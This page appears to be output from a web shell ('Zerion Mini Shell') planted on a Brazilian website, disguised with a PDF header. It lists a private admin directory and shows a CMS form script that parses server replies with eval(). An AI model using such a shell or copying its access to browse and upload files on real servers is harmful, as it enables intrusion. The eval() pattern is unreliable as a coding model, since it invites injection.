%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home1/dimen328/libertysa.com.br/admin/modules/corpo_destaque/
Upload File :
Create Path :
Current File : //home1/dimen328/libertysa.com.br/admin/modules/corpo_destaque/EditFormJS.js

 $( document ).ready(function() {
	CKEDITOR.replace('descricao',{
		filebrowserUploadUrl:'includes/uploaderFroala.inc.php'
	});
	$(".accordion-toggle").off();
	$(".accordion-toggle").on("click", function(){
		if($(this).hasClass("collapsed")){
			$(this).find("i").removeClass("fa-chevron-down").addClass("fa-chevron-up");
		}else{
			$(this).find("i").removeClass("fa-chevron-up").addClass("fa-chevron-down");
		}
	});
	$.when(
		comboMaker("#tipo","corpo_destaque",6)
	).done(
		(function (id){
			$.ajax({
				url:"modules/corpo_destaque/CTRL.php",
				type: 'POST',
				data:{ oper: "3", id: id},
				async:false,
				complete: function (e, xhr, result){
					if(e.readyState == 4 && e.status == 200){

						try{
							var Obj = eval ("("+ e.responseText + ")");
						
						}
						catch(err){}
						
						if(Obj != null){
							$("#tipo").val(Obj.cms_idtipo);
							$("#titulo").val(Obj.titulo);
							// $("#descricao").val(Obj.descricao);
							CKEDITOR.instances.descricao.setData(Obj.descricao);
							$("#link").val(Obj.link);
							$("#status").val(Obj.status);
							$("#nameFoto").val(Obj.imagem);
							setTimeout(function(){
								$(".spn-dragdrop").hide();
								$(".img-dragdrop").show();
								$(".portfolio-item").attr("src","uploads/corpo_destaque/"+Obj.imagem_rec);
							}, 500);
							
						}
					}
				}
			});
		})($("#idEdit").val())
	)
	//self-invoking function

	function atualizar(id,tipo,descricao,titulo,link,imagem,imagem_rec,status){
		
		$.ajax({
			url: "modules/corpo_destaque/CTRL.php",
			type: 'POST',
			data: { oper: "4", id: id, tipo: tipo, descricao:descricao, titulo:titulo, link:link, imagem: imagem, imagem_rec:imagem_rec, status: status },
			complete: function (e, xhr, result) {
				if (e.readyState == 4 && e.status == 200) {

					try { 
						var Obj = eval("(" + e.responseText + ")"); //Combo OS
					}
					catch (err) {
					}
					
					if(Obj != null){
									
						$("#collapseEditar").append
						(
							'<div class="panel-footer">' +
							'</div>'
						);
						
						if(Obj.msg == '1'){
							$("#collapseEditar").parent(".panel").addClass("panel-success");
							$("#collapseEditar").parent(".panel").removeClass("panel-info");
							$(".panel-footer").append
							(
								'<div class="alert alert-success alert-dismissable">' +
									'<button type="button" class="close closeFooter" data-dismiss="alert" aria-hidden="true">x</button>' +
									'Cadastro realizado com sucesso.' +
								'</div>'
							);
						} else {
							$("#collapseEditar").parent(".panel").addClass("panel-danger");
							$("#collapseEditar").parent(".panel").removeClass("panel-info");
							$(".panel-footer").append
							(
								'<div class="alert alert-danger alert-dismissable">' +
									'<button type="button" class="close closeFooter" data-dismiss="alert" aria-hidden="true">x</button>' +
									'O Cadastro não pode ser realizado.' +
								'</div>'
							);
						}
						
						$(".closeFooter").click(function(){
							$(".panel-footer").hide(600);
							$(".panel-footer").remove();
							$("#collapseEditar").parent(".panel").addClass("panel-info");
							($("#collapseEditar").parent(".panel").hasClass("panel-danger")) ? $("#collapseEditar").parent(".panel").removeClass("panel-danger") : $("#collapseEditar").parent(".panel").removeClass("panel-success");
							$("p.file-text").remove();
							$(".form-control-feedback").remove();
							$("#btnatualizar").removeAttr('disabled');
						});
						
						setTimeout(function(){
							$(".closeFooter").click();
							$("#btnSearch").click();
						}, 2000);
						
					}
					
				}
			} 
		});
	} 



	$("#btnatualizar").click(function(){
		$(".requiredField").each(function(index,value){
			$(this).next().remove();
			verificaBranco($(value).attr("id"), function(response){
				if(response == true){
					$("#btnatualizar").attr("disabled","disabled");
					
					extensao = $("#nameFoto").val().split(".")[1];
					thumb = $("#nameFoto").val().replace("."+extensao,"_thumb."+extensao);
					
					var editorText = CKEDITOR.instances.descricao.getData();
					
					atualizar($("#idEdit").val(),$("#tipo").val(),editorText,$("#titulo").val(),$("#link").val(),$("#nameFoto").val(),thumb,$("#status").val());
					$(".form-group").removeClass("has-success");
				} else {
					$("#btnatualizar").removeAttr('disabled');
				}
			});
		});
		
	});

	$("#btnremover").click(function(){
		$("#nameFoto").val('');
		$(".portfolio-item").attr("src","");		
	});

	$("#btnvoltar").click(function(){
		$(".closeEdit").click();
	});
	$(".upload").upload({
		multiUpload: true, /* multipla seleção*/
		label: '<span class="spn-dragdrop">Arraste uma imagem <br> ou <br> clique para escolher</span><div class="img-dragdrop" style="display: none"><img class="img-responsive portfolio-item" src="" alt=""></div>', /* descrição no drag and drop*/
		maxSize: 1048576, /* tamanho max do file*/
		action: "includes/uploader.inc.php", /*url submit file */
		postData: {pasta: "uploads/corpo_destaque"}   /* pasta onde irão os arquivos + id da galeria */
	}).on("start.upload", onStart)
		.on("complete.upload", onComplete)
		.on("filestart.upload", onFileStart)
		.on("fileprogress.upload", onFileProgress)
		.on("filecomplete.upload", onFileComplete)
		.on("fileerror.upload", onFileError);
	/* fim do upload no Document.Ready */

	/* demais funções do Upload */
	var $filequeue,
		$filelist;

	function onStart(e, files) {
		// console.log("Start " + files.length);
		// console.log(files);
		// var html = '';
		// for (var i = 0; i < files.length; i++) {
		// html += '<li data-index="' + files[i].index + '"><span class="file">' + files[i].name + '</span><span class="progress">Queued</span></li>';
		// }
		// $filequeue.append(html);
	}

	function onComplete(e) {
		// console.log("Complete");
		// console.log($(this).attr("id"));
		// All done!
	}

	function onFileStart(e, file) {
		// console.log("File Start");
		// $filequeue.find("li[data-index=" + file.index + "]")
		// .find(".progress").text("0%");
		$(".spn-dragdrop").hide();
		$(".img-dragdrop").show();
		$(".portfolio-item").attr("src","img/pageloader.gif");
	}

	function onFileProgress(e, file, percent) {
		// console.log("File Progress");
		// $filequeue.find("li[data-index=" + file.index + "]")
		// .find(".progress").text(percent + "%");
	}

	function onFileComplete(e, file, response) {
		// retorno do upload.php => file.transfer.responseJSON
		var obj = file.transfer.responseJSON;

		if (obj.msg == "1"){

			// listarFotos(obj.idGaleria);
			$("#nameFoto").val(obj.name);
			$(".portfolio-item").attr("src","uploads/corpo_destaque/"+obj.name);

		}

	}

	function onFileError(e, file, error) {
		// console.log("File Error");
		// $filequeue.find("li[data-index=" + file.index + "]").addClass("error")
		// .find(".progress").text("Error: " + error);
		$(".portfolio-item").attr("src","img/error.png");
	}
});

Zerion Mini Shell 1.0